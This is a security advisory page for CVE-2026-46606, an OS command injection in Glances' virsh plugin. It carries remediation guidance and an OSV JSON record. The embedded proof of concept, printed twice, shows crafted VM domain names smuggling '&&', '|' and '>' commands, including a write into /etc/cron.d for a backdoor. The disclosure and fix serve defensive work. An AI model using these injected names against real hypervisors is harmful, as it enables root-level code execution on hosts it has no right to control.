CVE-2026-46606: Glances Glances Is Vulnerable To Command Vulnerability

HIGH
Advisory Identifier: GHSA-v5r2-qh84-fjx5
CVSS 7.8
CWE-78
Published
Advisory Summary

CVE-2026-46606 is a HIGH (CVSS 7.8) glances is vulnerable to command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Glances libraries in the PyPI ecosystem. The issue involves glances is vulnerable to command injection via kvm/qemu vm domain names in glances/plugins/vms/engines/virsh.py. Remediation is available by upgrading affected packages to version 4.5.5.

CVE-2026-46606 at a Glance

CVE Identifier CVE-2026-46606
GHSA Identifier GHSA-v5r2-qh84-fjx5
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46606

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

glances fixed: 4.5.5
pip install glances>=4.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-46606, inspect your installed packages using pip:

pip show glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.5), your application is affected.

Note: The pip show glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. --- ### Details **Affected file:** `glances/plugins/vms/engines/virsh.py` **Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204 The vulnerable calls are on lines 185 and 204: ```python # line 185 (update_stats) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}') # line 204 (update_title) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}') ``` `domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`. `secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters: ```python # glances/secure.py def secure_popen(cmd): ret = '' for c in cmd.split('&&'): # '&&' → two separate processes ret += __secure_popen(c) return ret def __secure_popen(cmd): for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE) # '>' is split separately for file redirection ``` By contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). All three injection operators were verified: | Operator | Effect | Confirmed | |----------|--------|-----------| | `&&` | Second command executes after the virsh call | Yes | | `\|` | Output of virsh piped to injected command | Yes | | `>` | virsh output redirected to arbitrary file | Yes | --- ### PoC **Special configuration required** * Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable. * The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). * No custom `glances.conf` settings are needed beyond a working virsh setup. **Step 1 — Create a VM with a crafted domain name** Using the `&&` operator to chain a second command: ```xml <domain type="kvm"> <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name> <memory>131072</memory> <vcpu>1</vcpu> <os><type arch="x86_64">hvm</type></os> </domain> ``` ```bash virsh define evil-domain.xml ``` **Step 2 — Start Glances with KVM monitoring enabled** ```bash glances # or: glances -s / glances -w ``` On the next monitoring cycle Glances calls: ``` virsh domstats --nowait "productionDB && touch /tmp/glances_pwned" ``` which `secure_popen()` splits into two processes: 1. `virsh domstats --nowait productionDB` 2. `touch /tmp/glances_pwned` **Step 3 — Verify execution** ```bash ls -la /tmp/glances_pwned # file will exist, owned by the Glances user ``` **Pipe injection (`|`) example** Domain name: `"productionDB | tee /tmp/virsh_output_stolen.txt"` The output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path. **File-write injection (`>`) example** Domain name: `"productionDB > /etc/cron.d/glances_backdoor"` The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle. **Minimal Python reproduction (no VM required)** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.secure import secure_popen # Simulates the exact call in virsh.py line 185 domain = 'productionDB && id' result = secure_popen(f'/bin/echo domstats --nowait {domain}') print(result) # Output will include two lines: the echo output AND the output of `id` ``` --- ### Impact **Vulnerability type:** Command Injection (CWE-78) **Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs. **Impact:** - **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands. In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution. --- ### Suggested Fix Replace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic: ```python # virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE result = run( [VIRSH_PATH, 'domstats', '--nowait', domain], stdout=PIPE, stderr=PIPE, timeout=5 ) ``` Alternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values. As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---

CVE-2026-46606 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.5
Product / Package Ecosystem Affected Versions Fixed Version
glances
PyPI
< 4.5.5
4.5.5

References

Frequently Asked Questions

What is CVE-2026-46606?
CVE-2026-46606 is a security vulnerability in Glances involving Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Glances versions are affected?
Affected versions include releases prior to 4.5.5 across affected packages: glances.
What version fixes CVE-2026-46606?
Upgrading to 4.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is glances affected?
Yes, glances is affected in releases prior to 4.5.5. Upgrade your dependency to 4.5.5 or later.
What is the CVSS score of CVE-2026-46606?
CVE-2026-46606 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46606?
CVE-2026-46606 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-46606?
Run the dependency tree command: 'pip show glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v5r2-qh84-fjx5",
  "modified" : "2026-07-21T14:43:40Z",
  "published" : "2026-06-22T21:14:06Z",
  "aliases" : [ "CVE-2026-46606" ],
  "summary" : "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py",
  "details" : "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204  (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = ''\n    for c in cmd.split('&&'):        # '&&' → two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # '>' is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `&&`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `>`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `&&` operator to chain a second command:\n\n```xml\n<domain type=\"kvm\">\n  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>\n  <memory>131072</memory>\n  <vcpu>1</vcpu>\n  <os><type arch=\"x86_64\">hvm</type></os>\n</domain>\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB && touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`>`) example**\n\nDomain name: `\"productionDB > /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB && id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, 'domstats', '--nowait', domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46606"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-v5r2-qh84-fjx5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2497.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/glances"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T21:14:06Z",
    "nvd_published_at" : "2026-06-25T19:16:37Z"
  }
}